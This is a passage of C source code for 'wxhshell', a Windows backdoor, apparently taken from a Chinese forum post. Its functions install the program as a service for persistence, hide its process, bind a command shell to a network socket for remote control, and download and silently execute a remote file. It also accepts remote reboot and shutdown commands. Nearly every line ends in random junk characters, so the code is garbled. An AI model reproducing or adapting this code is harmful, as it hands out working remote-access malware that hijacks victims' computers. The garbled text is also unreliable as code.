  // 安装 nV,qC .z  
  case 'i': { SfyZ,0  
    if(Install()) +'2Mj|d@p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oh-Y  
    else GN?^7kI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {3lsDU4  
    break; z 3fS+x:E{  
    } (Ybc~M)z  
  // 卸载 j1*'yvGM  
  case 'r': { @bOhnd#W  
    if(Uninstall()) HsGXb\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cjHo?m'  
    else RZ:Yu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y!u)q3J0&  
    break; (BEGt '7  
    } d+rrb>-OU  
  // 显示 wxhshell 所在路径 Dz:A.x@$*  
  case 'p': { G)]'>m<y  
    char svExeFile[MAX_PATH]; B BbGq8p  
    strcpy(svExeFile,"\n\r"); rS\j9@=Y4  
      strcat(svExeFile,ExeFile); Xa=oryDt  
        send(wsh,svExeFile,strlen(svExeFile),0); )."_i64  
    break; IP7j)SM!  
    } ci0)kxUBF  
  // 重启 I?uU }NK  
  case 'b': { Q&@Ls?pu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t,#7F$t  
    if(Boot(REBOOT)) rCGXHbj%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,ARYwd  
    else { BCYTlxC'  
    closesocket(wsh); Yrs7F.Y"  
    ExitThread(0); @)1>ba  
    } Wf/r@/ q  
    break; dIg/g~ t"  
    } V zuW]"  
  // 关机 rn $a)^!  
  case 'd': { #<s6L"Z-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1"YN{Ut;G  
    if(Boot(SHUTDOWN)) [Ul"I-K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >h1 3i@`r  
    else { )' +" y~  
    closesocket(wsh); GK .^Gd  
    ExitThread(0); 0uV3J  
    } EudX^L5U<d  
    break; z/!LC;(  
    } o}$uP5M8q  
  // 获取shell Y[)b".K  
  case 's': { nF>41 K  
    CmdShell(wsh); "BT*9N=|  
    closesocket(wsh); O 7RIcU  
    ExitThread(0); O42`Z9oK  
    break; J!Er%QUR  
  } U;`C%vHff  
  // 退出 J{;XNf =  
  case 'x': { 86Hg?!<i.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m:B9~ lbT+  
    CloseIt(wsh); yJQ>u  
    break; 2(LF @xb  
    } fh_+M"Y0`  
  // 离开 >*s_)IH2  
  case 'q': { zU7co.G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EyR~VKbJ'  
    closesocket(wsh); oC ?UGY~xL  
    WSACleanup(); @<kY,ox@~  
    exit(1); cq]JD6937  
    break; JguPXHa0  
        } XSk*w'xO  
  } [wU e"{  
  } }`KK  
fF6bEJl3  
  // 提示信息 mi[t1cN)=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QN47+)cVt"  
} wcH,!;3z+  
  } /tm2b<G  
WC0z'N({W  
  return; L~oy|K67  
} &~mJ ).*  
'Qdea$o  
// shell模块句柄 v[;R(pt?  
int CmdShell(SOCKET sock) Fn>KdoByN  
{ IiU\}<O  
STARTUPINFO si; dG&^M ".(  
ZeroMemory(&si,sizeof(si)); "C0?s7Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Ef6@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e5RF6roxO  
PROCESS_INFORMATION ProcessInfo; u9nJ;:  
char cmdline[]="cmd"; Su/8P[q_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e ,kxg^  
  return 0; Qb%o%z?hee  
} JBhM*-t(M1  
(E;+E\E  
// 自身启动模式 M"Dv -#f  
int StartFromService(void) |`ya+/ff+  
{ 0$A^ .M;  
typedef struct za%gD  
{ TAxu]C$P  
  DWORD ExitStatus; xKR\w!+Z'  
  DWORD PebBaseAddress; X[<%T}s#  
  DWORD AffinityMask; 1rx, qfCq  
  DWORD BasePriority; * N]^(+/A  
  ULONG UniqueProcessId; 1 |  
  ULONG InheritedFromUniqueProcessId; li hIPMU  
}   PROCESS_BASIC_INFORMATION; Nq9\2p  
80zpRU"  
PROCNTQSIP NtQueryInformationProcess; h1t~hrq  
Q,K$)bM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yk y% +@2q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {E; bT|3z  
&szYa-K*  
  HANDLE             hProcess; )I#{\^  
  PROCESS_BASIC_INFORMATION pbi; ?K+q~DzNSD  
#c!rx%8I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @9eN\b%I^H  
  if(NULL == hInst ) return 0; 78 w  
6Df*wi!jI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FDFwx|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TjDtNE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Fz ^(US  
uu9IUqEq2  
  if (!NtQueryInformationProcess) return 0; LSo*JO6  
hq&|   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uks%Mo9on  
  if(!hProcess) return 0; 42~.N =2  
NVghkd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W]oa7VAq  
MVnN0K4  
  CloseHandle(hProcess); CuD}Uo+u  
IU<lF)PF$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ; PncJe5x  
if(hProcess==NULL) return 0; 99.F'Gz  
_1Q6FI5iR  
HMODULE hMod; XmD(&3;v-  
char procName[255]; pHuR_U5*?  
unsigned long cbNeeded; ,jEc4ih4  
5F+G8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 51JB,}dGH}  
HdgNy\  
  CloseHandle(hProcess); k_{?{:X;y  
?m5E Xe  
if(strstr(procName,"services")) return 1; // 以服务启动 ~+j2a3rv-{  
>{QO$F#  
  return 0; // 注册表启动 V y$*v  
} 6_<~]W&  
S.4+tf 7+  
// 主模块 `3 i<jZMG  
int StartWxhshell(LPSTR lpCmdLine) H<[~V0=  
{ 3:MJKS02OD  
  SOCKET wsl; E_En"r)y  
BOOL val=TRUE; g0bYO!gC r  
  int port=0; 'AX5V-t  
  struct sockaddr_in door; g9q}D-  
2mn AL#  
  if(wscfg.ws_autoins) Install(); &oMWs]0  
M,S'4Sz uk  
port=atoi(lpCmdLine); *2u~5 Kc<  
S\h5 D2G;  
if(port<=0) port=wscfg.ws_port; PWyf3  
yw$4Hlj5  
  WSADATA data; qx b]UV,R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4")`}T  
}rI:pp^KS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QOo'Iv+EL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;RJ 8h x  
  door.sin_family = AF_INET; | bz%SB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i?Pnyi  
  door.sin_port = htons(port); +:uz=~m o`  
&G\mcstX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { / n_s"[I4  
closesocket(wsl); \OA{&G.  
return 1; ?T2>juf]5~  
} cu($mjC@T  
7n6g;8xE  
  if(listen(wsl,2) == INVALID_SOCKET) { ]vlBYAW'  
closesocket(wsl); _%- +"3Ll  
return 1; q50F!yHC-  
} nq]6S$3 6  
  Wxhshell(wsl); qEr?4h  
  WSACleanup(); s{Y4wvQyB  
H #_Zv]  
return 0; |g)C `k  
M&j|5UH%.  
} YND}P9 h  
R,G*]/r`  
// 以NT服务方式启动 A,9JbX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z-Qp9G'   
{ ^~;ia7V&2  
DWORD   status = 0; )&c#?wx'w  
  DWORD   specificError = 0xfffffff; qK a}O*  
)pH+ibR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P[ WkW#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W~/d2_|/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @|SeabN^-  
  serviceStatus.dwWin32ExitCode     = 0; Zk%@GOu\  
  serviceStatus.dwServiceSpecificExitCode = 0;  /ooGyF  
  serviceStatus.dwCheckPoint       = 0; :J`@@H  
  serviceStatus.dwWaitHint       = 0; k0e}`#t  
J+`aj8_B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e~SK*vR%]  
  if (hServiceStatusHandle==0) return; N $) G 8  
z6iKIw $  
status = GetLastError(); 985F(r  
  if (status!=NO_ERROR) P9bM+@5e  
{ sQa;l]O:NC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WFOJg&  
    serviceStatus.dwCheckPoint       = 0; ;>v.(0FE6  
    serviceStatus.dwWaitHint       = 0; Ai < beUS  
    serviceStatus.dwWin32ExitCode     = status; f1MRmp-f'  
    serviceStatus.dwServiceSpecificExitCode = specificError; X ."z+-eh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`~qmRpqY  
    return; '`P%;/z  
  } L/"};VI  
(`.OS)&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @.e X8~3=  
  serviceStatus.dwCheckPoint       = 0; J:m/s9r  
  serviceStatus.dwWaitHint       = 0; 0SIC=p=J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N `|A  
} by@KdQow  
8}  B  
// 处理NT服务事件,比如:启动、停止 }csA|cC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0>sa{Z  
{ <kK>C8+  
switch(fdwControl) _RbfyyaN  
{ uQ5h5Cfz  
case SERVICE_CONTROL_STOP: ~=|}!A(  
  serviceStatus.dwWin32ExitCode = 0; Tc6cBe,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !g|O.mt  
  serviceStatus.dwCheckPoint   = 0; <b:%o^  
  serviceStatus.dwWaitHint     = 0; ,Xn2xOP  
  { |Kd#pYt%O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IOl_J>D]F  
  } 4XN \p  
  return; TpKAdrY  
case SERVICE_CONTROL_PAUSE: >v:ex(y0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M~:_^B  
  break; P1eSx#3bR  
case SERVICE_CONTROL_CONTINUE: F0:]@0>r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +:FXtO>n"  
  break; 2Vx4"fHP#N  
case SERVICE_CONTROL_INTERROGATE: ipv5JD[  
  break; v"G1vSx)BT  
}; 4\;zz8 5E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mn0.! J "  
} VE )D4RL  
VgH O&vU  
// 标准应用程序主函数 op6]"ZV-C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TA[%eMvA  
{ pR S!  
hFIh<m=C?Y  
// 获取操作系统版本 +4?Lwp'q  
OsIsNt=GetOsVer(); `n PdZ.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l/N<'T_G  
j 6qtR$l|  
  // 从命令行安装 LDt6<D8,Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); yYCS-rF>  
\dk1a  
  // 下载执行文件 "DW~E\Y  
if(wscfg.ws_downexe) { :U?g']`Z##  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LqWiw24#  
  WinExec(wscfg.ws_filenam,SW_HIDE); bY~K)j v3&  
} =6sP`:  
CD`a-]6qA  
if(!OsIsNt) { j 3<Ci {3  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q0J1"*P0  
HideProc(); 'm`O34h  
StartWxhshell(lpCmdLine); !1$x4 qxS  
} B"43o7C  
else ,P~e)<.  
  if(StartFromService()) j\uZo.Ot+  
  // 以服务方式启动 u+)!C*ho  
  StartServiceCtrlDispatcher(DispatchTable); DsdM:u*s  
else EavBUX$O  
  // 普通方式启动 l#0zHBc  
  StartWxhshell(lpCmdLine); ZdW+=;/#  
%KyZ15_(-L  
return 0; yhH2b:nY(9  
}
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只看该作者 1 发表于: 2006-10-10
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